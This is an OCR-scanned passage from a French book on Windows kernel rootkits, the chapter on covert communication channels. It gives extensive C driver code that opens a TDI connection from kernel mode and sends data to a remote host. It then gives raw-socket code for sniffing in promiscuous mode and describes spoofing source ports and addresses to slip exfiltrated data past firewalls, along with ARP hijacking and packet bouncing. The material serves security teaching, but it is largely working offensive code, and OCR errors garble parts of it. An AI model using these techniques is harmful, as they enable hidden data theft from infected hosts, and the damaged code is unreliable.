sockets en mode utilisateur. Dans notre exemple, nous demandons au driver TDI de
crer cette structure pour nous. Si la requte russit, nous rcuprons un handle sur
cette structure. Cette technique est courante dans le dveloppement de drivers.
Pour crer une structure dadresse, nous ouvrons un handle de fichiers vers /device/
tcp en lui passant certains paramtres spciaux. Nous invoquons pour cela la fonction
du noyau ZwCreateFile. Largument le plus important de cet appel est un ensemble
dattributs tendus, ou EA (Extended Attributes) 1, qui nous sert passer des
informations essentielles et uniques au driver (voir Figure 9.2).

Figure 9.2

Le driver A envoie une


requte au driver B via
l'appel de ZwCreateFile.
La structure d'attributs
tendus contient les
dtails de la requte. Le
handle de fichier retourn
est en fait un handle sur
un objet cr par le driver
de plus bas niveau.

Driver B

Retourne
un
handle
vers
l'objet
demand

Un peu de documentation peut tre utile ici. Lemploi de largument dattributs


tendus est unique et spcifique au driver en question. Dans notre cas, nous devons
passer des informations sur ladresse IP et le port TCP que nous voulons utiliser pour
le canal secret. Le DDK de Microsoft documente cela, bien quil ne soit pas trs prcis
et ne donne pas dexemple de code.

1. Les attributs tendus sont surtout utiliss par les drivers du systme de fichiers.

Canaux de communication secrets 265

Chapitre 9

Largument dattributs tendus est un pointeur vers une structure de type


FILE_FULL_EA_INF0RMATI0N qui est documente dans le DDK. Voici quoi elle
ressemble :
typedef struct _FILE_FULL_EA_INFORMATION

{
ULONG NextEntryOffset ;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1] ;
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;

Cration d'un objet adresse locale


Nous devons maintenant crer un objet adresse. Cet objet sera ensuite associ un
point dextrmit (endpoint) pour que la communication puisse dbuter. Il est construit
en utilisant le champ dattributs tendus de lappel de ZwCreateFile. Le nom de fichier
spcifi ici est \Device\Tcp :
#define DD_TCP_DEVICE_NAME L"\\Device\\Tcp"
UNICODE_STRING TDI_TransportDeviceName;
// Cre un nom de priphrique de transport Unicode
RtlInitUnicodeString(&TDI_TransportDeviceName,
D D_TC P_D EVIC E_NAM E );

Nous irfitialisons ensuite la structure des attributs de lobjet. La partie la plus


importante de cette structure est le nom du priphrique de transport. Nous spcifions
galement que la chane devrait tre traite comme tant insensible la casse. Si le
systme cible est Windows 2000 ou plus, nous devrions aussi spcifier
OBJ_KERNEL_HANDLE.

Cest toujours une bonne chose que dutiliser ASSERT pour vrifier le niveau dIRQ
dun appel. Ceci permet la version de debugging de votre driver de signaler une
gestion incorrecte des niveaux dIRQ.
OBJECT_ATTRIBUTES TDI_0bject_Attr;
// Cre les attributs de l'objet
// L'appel doit avoir lieu au niveau d'IRQ PASSIVE_LEVEL
ASSERT( KeGetCurrentIrql() == PASSIVE_LEVEL );
InitializeObj ectAttributes(&TDI_0bject_Attr,
&TDI_TransportDeviceName, OBJ_CASE_INSENSITIVE
| OBJ_KERNEL_HANDLE,

0
0

,
);

Nous arrivons maintenant la structure dattributs tendus. Nous spcifions un tampon


suffisamment grand pour quil puisse contenir la structure plus ladresse

266 Rootkits

Infiltrations du noyau Windows

TDI. Cette structure comprend un champ NextEntryOffset qui est dfini zro pour
indiquer que nous envoyons une seule structure dans la requte. Il y a galement un
champ EaName que nous dfinissons avec la constante TDI_TRANS- PORT_ADDRESS. Cette
constante correspond la chane "TransportAddress" dans le fichier den-tte Tdi. h.
Voici la structure FILE_FULL_EA_INFORMATION que nous utilisons :
typedef Struct _FILE_FULL_EA_INFORMATION

{
ULONG NextEntryOffset ;
UCHAR Flags;
UCHAR EaNameLength ;
USHORT EaValueLength;
CHAR EaName[1]; // Dfini avec TDI_TRANSPORT_ADDRESS
// suivi d'une structure TA_IP_ADDRESS.
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;

Voici le code qui permet de linitialiser :


Char EA_Buffer[Sizeof(FILE_FULL_EA_INFORMATION) +
TDI_TRANSPORT_ADDRESS_LENGTH + sizeof(TA_IP_ADDRESS)];
PFILE_FULL_EA_INFORMATION pEA_Buffer =
(PFILE_FULL_EA_INFORMATION)EA_Buffer; pEA_Buffer->NextEnt
ryOffset = 0; pEA_Buffer->Flags = 0;

Le champ EaNameLength reoit la constante TDI_TRANSPORT_ADDRESS_LENGTH. Il sagit de


la longueur de la chane TransportAddress moins le caractre de terminaison NULL.
Nous sommes certains de copier la chane entire, le caractre de terminaison NULL y
compris, lorsque nous initialisons le champ EaName :
pEA_Buffer->EaNameLength = TDI_TRANSPORT_ADDRESS_LENGTH; memcpy(pEA_Buffer>EaName,
TdiTransportAddress, pEA_Buffer->EaNameLength + 1

);
est une structure TA_TRANSPORT_ADDRESS qui contient ladresse IP de lhte local
et le port TCP local utiliser pour la connexion. Elle inclut aussi une ou plusieurs
stmctures TDI_ADDRESS_IP. Si vous avez quelques connaissances en programmation de
sockets utilisateur, vous pouvez voir la structure TDI_ADDRESS_IP comme lquivalent
dans le noyau de la structure sockaddr_in.
EaValue

Il est prfrable de laisser le driver sous-jacent choisir le port TCP local, ce qui vous
vite davoir dterminer les ports qui sont dj pris. La seule situation o le port
source doit tre contrl est lorsque la connexion passe par un pare-feu dont les

Canaux de communication secrets 267

Chapitre 9

rgles de filtrage peuvent tre contournes en spcifiant un port source spcifique (port
80, 25 ou 53).
Nous oprons un calcul pour pointer vers lemplacement de EaValue afin de pouvoir
crire les donnes. Le pointeur pSin nous facilite les choses. Nous devons veiller
dfinir le champ EaValueLength avec une taille correcte. La structure TA_IP_ADDRESS
ressemble ceci :
typedef struct _TA_ADDRESS_IP {
LONG TAAddressCount;
struct _AddrIp {
USHORT
AddressLength;
USHORT
AddressType;
TDI_ADDRESS_IP Address[1];
} Address [ 1 ] ;
1 TA_IP_ADDRESS, *PTA_IP_ADDRESS;

Elle est initialise comme suit :


PTA_IP_ADDRESS pSin;
pEA_Buffer->EaValueLength = sizeof(TA_IP_ADDRESS); pSin =
(PTA_IP_ADDRESS) (pEA_Buffer->EaName + pEA_Buffer>EaNameLength + 1 ); pSin->TAAddressCount = 1 ;
pSin->Address[0].AddressLength = TDI_ADDRESS_LENGTH_IP; pSin>Address[0].AddressType = TDI_ADDRESS_TYPE_IP;

Pour faire en sorte que le driver sous-jacent choisisse un port source notre place,
nous spcifions 0 comme port source. Pensez fermer vos ports lorsque vous avez
termin, sinon le systme risque den manquer. Nous spcifions galement 0 comme
adresse source pour que le driver sous-jacent renseigne ladresse IP de lhte local
pour nous :
pSin->Address[0].Address[0].sin_port = 0; pSin->Address[0].Address[0].in_addr
= 0;
// Veille ce que le reste de la structure soit zro
memset( pSin->Address[0].Address[0].sin_zero,
0,

sizeof(pSin->Address[0].Address[0].sin_zero)

);
Nous appelons enfin ZwCreateFile. Noubliez pas de toujours vrifier avec ASSERT que
le niveau dIRQ est correct :
NTSTATUS status;
ASSERT( KeGetCurrentIrql() == PASSIVE_LEVEL ); status =
ZwCreateFile(
&TDI_Address_Handle,
GENERIC_READ|GENERIC_WRITE|SYNCHRONIZE,
&TDI_0bj ect_Attr,

268 Rootkits

Infiltrations du noyau Windows

&IoStatus,
0,
FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ,
FILE_OPEN,

0
pEA_Buffer,
sizeof(EA_Buffer)

);
if(!NT_SUCCESS(status))

{
DbgPrint("Failed to open address object,
status 0x%08X", status);
// A faire : librer les ressources return
STATUSJJNSUCCESSFUL;

Nous rcuprons un handle sur lobjet qui vient dtre cr, que nous utiliserons dans
des appels de fonctions ultrieurs :
ASSERT( KeGetCurrentIrql() == PASSIVE_LEVEL ); status =
ObReferenceObjectByHandle(TDI_Address_Handle,
FILE_ANY_ACCESS,

0
KernelMode,
(PVOID *)&pAddrFileObj,
NULL );

Et voil, nous avons cr un objet adresse. Cette opration pourtant simple a ncessit
beaucoup de code, mais ne vous inquitez pas car le processus devient vite une
routine.
Les sections suivantes expliquent comment associer cet objet un point dextrmit et,
pour finir, comment se connecter un serveur.

Cration d'un point d'extrmit TDI avec un contexte


La cration dun point dextrmit TDI requiert un autre appel de ZwCreateFile. La
seule diffrence avec lappel prcdent est lemplacement vers lequel pointe EA_Buf f
er. Vous pouvez voir que la plupart des arguments sont passs dans la structure
dattributs tendus. Le tampon E A B u f f e r devrait contenir un pointeur vers une
structure dfinie par lutilisateur appele structure de contexte. Dans notre exemple,
nous dfinissons le contexte avec une valeur de remplissage car nous ne lutilisons

Chapitre 9

Canaux de communication secrets 269

La structure FILE_FULL_EA_INF0RMATI0N ressemble ce qui suit :


typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset ;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1]; // Dfini avec "ConnectionContext"
// suivi d'un pointeur vers une structure //
dfinie par l'utilisateur.
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;

Voici le code qui sert linitialiser :


// Per Catlin, microsoft.public.development.device.drivers, //
"question on TDI client, please do help," 2002-10-18. ulBuffer
=
FIELD_OFFSET(FILE_FULL_EA_INFORMATION, EaName) +
TDI_CONNECTION_CONTEXT_LENGTH + 1
+
sizeof(C0NNECTI0N_C0NTEXT);
pEA_Buffer = (PFILE_FULL_EA_INFORMATION)
ExAllocatePool(NonPagedPool, ulBuffer); if(NULL==pEA_Buffer)

{
DbgPrint("Failed to allocate buffer"); return
STATUS_INSUFFICIENT_RESOURCES;

}
// Utilise le nom TdiConnectionContext qui // est une chane ==
"ConnectionContext". memset(pEA_Buffer, 0, ulBuffer);
pEA_Buffer->NextEntryOffset = 0; pEA_Buffer->Flags = 0;
// N'inclut pas NULL dans la longueur
pEA_Buffer->EaNameLength = TDI_CONNECTION_CONTEXT_LENGTH;
memcpy( pEA_Buffer->EaName,
TdiConnectionContext,
// Inclut NULL dans la copie
pEA_Buffer~>EaNameLength + 1

);

est un pointeur vers une structure fournie par lutilisateur et peut


pointer vers nimporte quoi. Il est gnralement utilis par les dveloppeurs de drivers
pour garder trace de ltat associ la connexion. Nous pouvons placer ce que nous
voulons dedans.
CONNECTION CONTEXT

270 Rootkits

Infiltrations du noyau Windows

Etant donn que nous utilisons une seule connexion, nous navons pas besoin de
garder trace de quoi que ce soit et spcifions donc une valeur de remplissage pour le
contexte :
pEA_Buffer->EaValueLength = sizeof(C0NNECTI0N_C0NTEXT);

Soyez particulirement attentif au calcul concernant le pointeur dans le code suivant :


*(C0NNECTI0N_C0NTEXT*)( pEA_Buffer->EaName +
(pEA_Buffer->EaNameLength + 1 ) )
= (C0NNECTI0N_C0NTEXT) contextPlaceholder;
// ZwCreateFile doit s'excuter au niveau PASSIVE_LEVEL
ASSERT( KeGetCurrentlrqlf) == PASSIVE_LEVEL );
status = ZwCreateFile(
&TDI_Endpoint_Handle,
GENERIC_READ|GENERIC_WRITE|SYNCHRONIZE,
&TDI_0bject_Attr,
&IoStatus,
0,

FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ,
FILE_0PEN,
0,

pEA_Buffer, sizeof(EA_Buffer)

);

if(!NT_SUCCESS(status))

{
DbgPrint("Failed to open endpoint, status 0x%08X", status); //
A faire : librer les ressources return STATUSJJNSUCCESSFUL;

}
Il Rcupre le handle d'objet.
Il Doit s'excuter au niveau PASSIVE_LEVEL.
ASSERT( KeGetCurrentIrql() == PASSIVE_LEVEL ); status =
ObReferenceObjectByHandle(
TDI_Endpoint_Handle,
FILE_ANY_ACCESS,
0,
KernelMode,
(PVOID *)&pConnFileObj,
NULL

);

Canaux de communication secrets 271

Chapitre 9

Nous disposons prsent dun objet point dextrmit. Nous avons dj cr un objet
adresse locale quil ne nous reste plus qu associer au nouveau point dextrmit.

Association d'un point d'extrmit une adresse locale


Aprs avoir cr la fois un objet point dextrmit et un objet adresse locale, ltape
suivante consiste les associer. Un point dextrmit nest daucune utilit sans une
adresse associe. Celle-ci indique au systme quel port local et quelle adresse IP
utiliser. Dans notre exemple, nous avons configur ladresse de faon que le systme
choisisse un port local notre place (ce quil fait typiquement pour un Socket).
La communication avec le driver sous-jacent se fera au moyen dIRP. Pour chaque
fonction que nous souhaitons appeler, nous devons crer un IRP, y placer des
arguments et des donnes et le passer au driver via la routine IoCallDriver. Aprs avoir
pass chaque IRP, nous devons attendre quil se termine. Pour cela, nous utilisons une
routine de terminaison. Un vnement partag par la routine de terminaison et le reste
de notre code nous permet dattendre que le traitement prenne fin.
// Rcupre le priphrique associ l'objet adresse,
// c'est--dire un handle vers l'objet priphrique / / d u driver
TDI.
// (e.g., "\Driver\SYMTDI").
pTcpDevObj = IoGetRelatedDeviceObject(pAddrFileObj);
// Utilis pour attendre la fin d'un IRP
KelnitializeEvent(&AssociateEvent, NotificationEvent, FALSE);
// Cre un IRP pour l'appel associ plrp =
TdiBuildlnternalDeviceControlIrpj TDI_ASSOCIATE_ADDRESS,
pTcpDevObj,
// Objet priphrique du driver TDI.
pConnFileObj,
// Objet fichier de connexion (point
Il d'extrmit).
&AssociateEvent, Il Evnement signaler lorsque Il
1'IRP se termine.
&IoStatus
II Bloc d'tat d'E/S.

);
if(NULL==pIrp)

{
DbgPrint( "Could not get an IRP for
TDI_ASSOCIATE_ADDRESS");
return(STATUS_INSUFFICIENT_RESOURCES);

272 Rootkits

Infiltrations du noyau Windows

Il Ajoute des donnes l'IRP


TdiBuildAssociateAddress( plnp,
pTcpDevObj,
pConnFileObj,
NULL,
NULL,
TDI_Address_Handle );
// Envoie une commande au driver TDI sous-jacent.
// Il s'agit de l'essence du canal de communication //
avec le driver sous-jacent.
// Dfinit la routine de terminaison.
// Doit s'excuter au niveau PASSIVE_LEVEL.
ASSERT( KeGetCurrentIrql() == PASSIVE_LEVEL );
IoSetCompletionRoutine(
Plrp,
TDICompletionRoutine,
&AssociateEvent, TRUE, TRUE, TRUE);
// Effectue l'appel.
// Doit s'excuter au niveau <= DISPATCH_LEVEL.
ASSERT( KeGetCurrentIrql() <= DISPATCH_LEVEL );
status = IoCallDriver(pTcpDevObj, plrp);
// Attend l'IRP, si ncessaire if
(STATUS_PENDING==StatUS)

{
DbgPrint (''Waiting on IRP (associate) . . . " ) ;
// Doit s'excuter au niveau PASSIVE_LEVEL
ASSERT( KeGetCurrentlrqlO == PASSIVE_LEVEL );
KeWaitForSingleObj ect(
&AssociateEvent,
Executive,
KernelMode,
FALSE, 0);

}
if ( (STATUS_SUCCESS!=status)

&&

(STATUS_PENDING!=StatUS))

{
// Quelque chose ne va pas DbgPrint("IoCallDriver
failed (associate), status 0x%08X", status);
return STATUSJJNSUCCESSFUL;

}
if ((STATUS_PENDING==status)

&&

(STATUS_SUCCESS!=IoStatus.Status))

{
// Quelque chose ne va pas

Chapitre 9

Canaux de communication secrets 273

DbgPrint("Completion of IRP failed (associate), status 0x%08X",


IoStatus.Status); return STATUSJJNSUCCESSFUL;

Connexion un serveur distant


Maintenant que ladresse locale a t associe au point dextrmit, nous pouvons
crer une connexion vers une adresse distante, soit ladresse IP et le port cibles. Dans
notre exemple, nous nous connectons au port 80 ladresse IP 192.168.0.10. L
encore, nous utilisons la routine de terminaison pour attendre que lIRP prenne fin.
Lorsque nous appelons le driver sous-jacent, nous devrions nous attendre ce quun
processus de ngociation TCP en trois temps ait lieu sur le rseau, ce quun analyseur
de paquets permet de vrifier :
KelnitializeEventf&ConnectEvent. NotificationEvent. FALSE :
// Cre un IRP pour se connecter
plrp =
TdiBuildInternalDeviceControlIrp(
TDI_C0NNECT,
/
pcpDevObj,
/
pConnFileObj,
/
/
/
&ConnectEvent,
/
&IoStatus
/
/
);

un hte distant

Objet priphrique du driver TDI.


Objet fichier de connexion (point
d'extrmit).
Evnement signaler lorsque l'IRP
se termine.
Bloc d'tat d'E/S.

if(NULL==pIrp)

{
DbgPrint("Could not get an IRP for TDI_C0NNECT");
return(STATUS_INSUFFICIENT_RESOURCES);

}
// Initialise la structure d'adresse IP RemotePort
= HTONS(80);
RemoteAddr = INETADDR(192,168,0,10);
RmtIPAddr.TAAddressCount = 1;
RmtIPAddr.Address[0].AddressLength = TDI_ADDRESS_LENGTH_IP;
RmtIPAddr.Address[0].AddressType = TDI_ADDRESS_TYPE_IP;
RmtIPAddr.Address[0].Address[0].sin_port = RemotePort;
RmtIPAddr.Address[0].Address[0].in_addr = RemoteAddr;
RmtNode.UserDataLength = 0;
RmtNode.UserData = 0;
RmtNode.OptionsLength = 0;
RmtNode.Options = 0;
RmtNode.RemoteAddressLength = sizeof(RmtIPAddr);

274 Rootkits

Infiltrations du noyau Windows

RmtNode.RemoteAddress = &RmtIPAddr;

Il Ajoute des donnes de connexion IP l'IRP


TdiBuildConnect(
plrp,
pTcpDevObj,
pConnFileObj,
NULL,
NULL,
NULL,
&RmtNode,
0

);

/
/
/
/
/
/
/
/
/
/
/
/

Objet priphrique du driver TDI.


Objet fichier de connexion (point
d 1 extrmit).
Routine de terminaison d'E/S.
Contexte de la routine de terminaison.
Adresse de l'intervalle d'expiration.
Adresse du client sur le nud distant.
Adresse du nud distant (sortie)

// Dfinit la routine de terminaison.


// Doit s'excuter au niveau PASSIVE_LEVEL.
ASSERT( KeGetCurrentIrql() == PASSIVE_LEVEL );
IoSetComptetionRoutine( plrp,
TDICompletionRoutine,
&ConnectEvent, TRUE, TRUE, TRUE);
// Effectue l'appel.
// Doit s'excuter au niveau <= DISPATCH_LEVEL.
ASSERT( KeGetCurrentIrql() <= DISPATCH_LEVEL );
// Envoie la commande au driver TDI sous-jacent
status = IoCallDriver(pTcpDevObj, plrp);
// Attend l'IRP, si ncessaire if
(STATUS_PENDING==Status)

{
DbgPrint("Waiting on IRP (connect)... " );
KeWaitForSingleObj ect(&ConnectEvent,
Executive,
KernelMode, FALSE, 0);

}
if ( (STATUS_SUCCESS!=status)

&&
(STATUS_PENDING!=StatUS))

{
// Quelque chose ne va pas
DbgPrint("IoCallDriver failed (connect), status 0x%08X", status); return
STATUSJJNSUCCESSFUL;

}
if ( (STATUS_PENDING==Status)

&&
(STATUS_SUCCESS!=IoStatus.Status))

Canaux de communication secrets 275

Chapitre 9

Il Quelque chose ne va pas


DbgPrint("Completion of IRP failed (connect), status 0x%08X",
IoStatus.Status);
retunn STATUSJJNSUCCESSFUL;

}
Sachez que ltablissement de la connexion TCP peut prendre un certain temps. Etant
donn que nous pouvons attendre un long moment la survenue de lvnement de
terminaison et que nous ne devrions jamais bloquer le thread lorsque nous arrivons
dans DriverEntry, notre exemple ne conviendrait pas dans un vritable rootkit. Dans
la pratique, il faudrait revoir la conception du driver pour quun thread de travail gre
lactivit TCP.

Envoi de donnes un serveur distant


Pour complter notre exemple, nous allons crer des instructions afin denvoyer des
donnes au serveur distant. Nous employons cette fin un IRP et un vnement
dattente. Nous allouons dabord de la mmoire pour les donnes transmettre et
verrouillons cette mmoire pour quelle ne soit pas pagine sur disque :
KelnitializeEvent(&SendEvent, NotificationEvent, FALSE);
SendBfrLength = strlen(SendBfr);
pSendBuffer = ExAllocatePool(NonPagedPool, SendBfrLength); memcpy(pSendBuffer,
SendBfr, SendBfrLength);
// Cre un IRP pour se connecter un hte distant
plrp = TdiBuildlnternalDeviceControlIrpf
TDI_SEND,
pTcpDevObj,
// Objet priphrique du driver TDI. //
pConnFileObj
Objet fichier de connexion (point //
d'extrmit).
&SendEvent,
// Evnement signaler lorsque Il
1 1 I R P se termine.
&IoStatus
Il Bloc d'tat d'E/S.

);

if(NULL==pIrp)

{
DbgPrint(Could not get an IRP for TDI_SEND");
return(STATUS_INSUFFICIENT_RESOURCES) ; Il

Il Ce code est ncessaire si le tampon se trouve dans le pool


pagin. Il Doit s'excuter au niveau <= DISPATCH_LEVEL.
/*ASSERT( KeGetCurrentIrql() <= DISPATCH_LEVEL );
pMdl = IoAllocateMdl(pSendBuffer, SendBfrLength, FALSE, FALSE, plrp);
if(NULL==pMdl)

276 Rootkits

Infiltrations du noyau Windows

{
DbgPrint(Could not get an MDL for TDI_SEND);
return(STATUS_INSUFFICIENT_RESOURCES);

}
I l Doit s'excuter au niveau < DISPATCH_LEVEL pour la mmoire paginable.
ASSERT( KeGetCurrentIrql() < DISPATCH_LEVEL );
_ try

{
MmProbeAndLockPages(
pMdl, // Corrige (ou essaie de corriger) le tampon
KernelMode,
IoModifyAccess );

}
_ except(EXCEPTION_EXECUTE_HANDLER)

{
DbgPrint("Exception calling MmProbeAndLockPages");
return STATUS_UNSUCCESSFUL;

}
/*TdiBuildSend(
plrp,
pTcpDevObj,
pConnFileObj,
NULL,
NULL,
pMdl,
0,
normale.

// Objet priphrique du driver TDI.


// Objet fichier de connexion (point
/ / d'extrmit).
// Routine de terminaison d'E/S.
// Contexte de la routine de terminaison.
// Adresse de la MDL.
Flags. 0 => envoys comme TSDU

Longueur du tampon mapp par la MDL.

SendBfrLength
//
);
// Dfinit la routine
de terminaison.
// Doit s'excuter au niveau PASSIVE_LEVEL.
ASSERT( KeGetCurrentIrql() == PASSIVE_LEVEL );
IoSetCompletionRoutine(
plrp,
TDICompletionRoutine,
&SendEvent, TRUE, TRUE, TRUE);
// Effectue l'appel.
// Doit s'excuter au niveau <= DISPATCH_LEVEL.
ASSERT( KeGetCurrentlrqlf) <= DISPATCH_LEVEL ); //
Envoie la commande au driver TDI sous-jacent
status = IoCallDriver(pTcpDevObj, plrp);
// Attend l'IRP, si ncessaire,
if (STATUS_PENDING==StatUS)

{
DbgPrint("Waiting on IRP (send)..."); KeWaitForSingleObj ect(

Chapitre 9

Canaux de communication secrets 277

&SendEvent,
Executive, KernelMode, FALSE, 0);

}
if ( (STATUS_SUCCESS!=Status)

&&
(STATUS_PENDING!=StatUS))

{
I l Quelque chose ne va pas
DbgPrint("IoCallDriver failed (send), status 0x%08X", status);
return STATUS_UNSUCCESSFUL;

}
if ((STATUS_PENDING==Status)

&&
(STATUS_SUCCESS!=IoStatus.Status))

{
// Quelque chose ne va pas
DbgPrint("Completion of IRP failed (send), status 0x%08X",
IoStatus.Status);
return STATUSJJNSUCCESSFUL;

}
La transmission des donnes peut prendre un certain temps. L encore, dans un
vritable driver, vous ne voudriez pas bloquer la routine DriverEntry.
A ce stade, nous avons intgr au rootkit un support de niveau noyau en utilisant TDI.
Cette mthode est commode puisque la couche TDI se charge du protocole TCP/IP
notre place. Linconvnient est quelle nchappe pas facilement la dtection dun
pare-feu dhte. Elle ne nous permet pas non plus doprer une manipulation de bas
niveau des paquets. La section suivante aborde les stratgies de manipulation de
paquets bruts.

Manipulation du trafic de rseau


Lorsque vous utilisez un rootkit de noyau, vous disposez gnralement dun accs aux
drivers qui contrlent la carte rseau. Ceci signifie que vous pouvez capturer et injecter
des trames. A partir dune trame brute, vous pouvez contrler tous les lments de la
communication gouvernant le routage et lidentification, tels que ladresse Ethernet
(ou adresse MAC), le port source TCP ou ladresse IP source. Vous ntes donc pas
dpendant de la pile TCP/IP de lhte infect. Ceci peut tre utile et permet de mieux
dissimuler la source de la communication. Plus important encore, cela peut permettre
de contourner les systmes pare-feu (firewall) et de dtection dintrusion (IDS).

278 Rootkits

Infiltrations du noyau Windows

Nous commencerons par la manipulation de paquets bruts partir dun programme en


mode utilisateur. Bien que ce livre traite des rootkits de noyau, nous avons pens quil
serait plus facile pour le lecteur dapprendre manipuler des trames et des protocoles
partir dun programme dans ce mode. Nous traiterons ensuite de la manipulation de
paquets partir du noyau.

L'implmentation de sockets bruts dans Windows XP


Microsoft a attendu longtemps avant dutiliser une interface de sockets bruts (raw
sockets). Les dveloppeurs taient alors forcs demployer des techniques de niveau
driver pour toute action "sophistique" portant sur la pile TCP/IP, telle que le spoofing de paquets permettant de crer des paquets "personnaliss". Maintenant que les
sockets bruts ont t introduits dans Windows, les auteurs de rootkit peuvent forger
des paquets partir du mode utilisateur.
Si une machine opre sous Windows XP SP2, le potentiel des sockets bruts est limit.
Ce choix de la part de Microsoft est peut-tre une rponse la menace des vers
Internet. Dans ce cas, il nest pas possible de forger des paquets TCP bruts. Par
exemple, il ne sera pas possible de faire un Scan SYN. Des paquets UDP peuvent tre
crits, mais ladresse source ne peut tre falsifie. De plus, SP2 rend difficile la
cration dun scanner de ports. Si vous tentez un scan complet de connexion TCP,
vous serez limit.
Les sockets bruts sont ouverts de la mme manire que les sockets ordinaires, ils
fonctionnent juste un peu diffremment. Comme pour tous les programmes de sockets
pour Windows, la premire tape consiste initialiser Winsock en utilisant WSAStartup
:
WSAData wsaData;
if (WSAStartup(MAKEW0RD(2, 2), &wsaData) != 0)

{
printf("WSAStartup() failed.\n");
exit(-1) ;

}
Vous devez ensuite ouvrir un socket laide dun appel de la fonction socket. Notez
lemploi de la constante S0CK_RAW. Si lappel russit, vous disposez alors dun socket
brut que vous pouvez utiliser pour sniffer des paquets et envoyer des paquets bruts.
SOCKET mySocket = socket(AF_INET, S0CK_RAW, IPPR0T0_IP); if
(mySocket == INVALID_SOCKET)

Canaux de communication secrets 279

Chapitre 9

printf("socket() failed.\n");
exit(-1);

Liaison une interface


Un socket brut nest pas oprationnel tant quil na pas t li une interface. Pour
cela, vous devez spcifier ladresse IP de linterface locale laquelle vous souhaitez le
lier. Dans la plupart des cas, vous devrez dterminer celle-ci dynamiquement.
Lexemple suivant obtient ladresse et la stocke dans la structure in addr :
// Dcouvre le nom d'hte/l'IP char ac[255]; struct in_addr addr;
if (gethostname(ac, sizeof(ac)) != SOCKET_ERROR)

{
struct hostent *phe = gethostbyname(ac);
if(phe != NULL)

{
memcpy(&addr,
phe->h_addr_list[0],
sizeof(struct in_addr));

}
}
Une fois que ladresse locale est obtenue, la structure
in d peut tre appel :

sockaddr

doit tre initialise et b

struct sockaddr_in SockAddr;


memset(&SockAddr, 0, sizeof(SockAddr));
SockAddr.sin_addr.s_addr = addr.s_addr;
SockAddr.sin_family = AF_INET;
SockAddr.sin_port = 0;
if (bind( mySocket, (sockaddr *)&SockAddr, sizeof(SockAddr)) == S0CKET_ERR0R)

{
printf("bind failed.\n"); exit(-1);

Interception de paquets avec un socket brut


Pour sniffer, ou intercepter, des paquets, il suffit de commencer lire des paquets sur
le rseau laide dun appel de recvf rom sniffer consiste rcuprer une copie du
trafic. Dans le code suivant, nous lisons un maximum de 12 000 octets

280 Rootkits

Infiltrations du noyau Windows

dun paquet. La boucle de lecture continue jusqu ce que le programme plante ou


quune erreur se produise :
struct sockaddr_in fromAddr;
int numBytesRecv;
int fromAddrLen = sizeof(fromAddr);
for(; ;)

{
memset(&fromAddr, 0, fromAddrLen);
numBytesRecv = recvfrom(
mySocket, myRecvBuffer,
12000 ,

0,
(struct sockaddr *)&fromAddr, &fromAddrLen);

if (numBytesRecv > 0)

{
// Faire quelque chose avec le paquet

>
else

{
// recvfrom a chou break;

}
}
free(myRecvBuffer) ;

Interception de paquets dans le mode "promiscuous"


Les sockets bruts ninterceptent pas automatiquement tous les paquets du rseau. Par
dfaut, ils ne rcuprent que les paquets se destinant lhte local. Pour pouvoir
intercepter tous les paquets circulant sur le rseau, il faut utiliser le mode
"promiscuous", ce qui demande lemploi dun IOCTL. Un tel appel peut tre ralis
laide de WSAIoctl :
int input_buffer;
DWORD numBytesReturned;
if ( WSAIoctl(mySocket,
SIO_RCVALL,
&input_buffer,
sizeof(input_buffer),
NULL,
NULL,
&numBytesReturned,
NULL,
NULL) == SOCKET_ERROR)

Canaux de communication secrets 281

Chapitre 9

{
printf("WSAIoctl() failed.\n");
exit(-1);

}
Aprs cet appel, le socket brut interceptera tous les paquets du rseau,
indpendamment de leur adresse de destination. Notez que, sur les rseaux par
commutation de paquets, tous les paquets en mode broadcast et les paquets
destination de lhte local sont disponibles. Lemploi dun hub rend tous les paquets
disponibles. Une autre solution est de configurer un port tendu (spanned port)' sur le
commutateur.
Lors du dploiement dun rootkit en environnement rel, ces options ne sont toutefois
pas disponibles. Pour espionner le trafic dun hte distant sur le mme sous- rseau,
une solution serait de dtourner le trafic ARP (ARP hijacking)1 2. Le sniffing
"Etherleak" serait aussi une possibilit 3.

Envoi de paquets avec un socket brut


Lenvoi dun paquet brut est trs simple au moyen de la fonction sendto :
sendto(theSocket,
(char *)packet,
sizeof(struct iphdr)+sizeof(struct tcphdr)+datasize,
0,

(struct sockaddr *)theAddressP,


sizeof(struct sockaddr));

Nous disposons maintenant de tous les outils requis pour envoyer et recevoir des
paquets bruts. Voyons maintenant ce quil est possible de faire avec.

Falsification de l'origine des paquets


Le contrle du port source est une fonctionnalit importante dun pare-feu. Un parefeu possde souvent des rgles spciales autorisant la communication si le port source
est DNS, SMTP ou WWW (53, 25 ou 80, respectivement). Le contournement de ce
type de rgle peut tre utile pour exfiltrer des donnes dun rseau. Dans certains cas,
certaines adresses IP source doivent tre utilises. Par exemple, un pare-feu peut
autoriser tout le trafic sortant provenant du serveur Web, des ports source 80 et 443.
Sachant cela, un rootkit peut tre conu pour forger des paquets

1. Un port tendu est un port spcial sur un commutateur qui peut servir sniffer le trafic.
2. Un dtournement ARP permet de capturer du trafic sur un rseau commut et de provoquer le routage des
paquets via un hte interpos. Ce genre dattaque a dj t largement document dans le domaine public.
3. Voir O. Arkin et J. Anderson, "Etherleak: Ethernet Frame Padding Information Leakage".

282 Rootkits

Infiltrations du noyau Windows

avec une fausse identit, celle du serveur Web. En utilisant le port source et lIP source
corrects, le trafic sera autoris sortir du rseau.

Le rebond de paquets
La dernire mthode de manipulation de paquets bruts que nous couvrirons est celle du
rebond de paquets (bouncing packet), un effet intressant qui peut tre obtenu en
contrlant ladresse IP source. Le rootkit peut fabriquer une adresse IP source
dsignant une machine externe au rseau local. Cette adresse peut appartenir un rel
ordinateur contrl par un hacker quelque part sur Internet. Le rootkit peut alors
envoyer ces paquets falsifis un tiers innocent, tel quun serveur Web. Le serveur
mystifi envoie ses paquets de rponse vers ladresse dorigine (fabrique, lordinateur
du hacker). Cest une forme complique dattaque qui peut permettre un rootkit
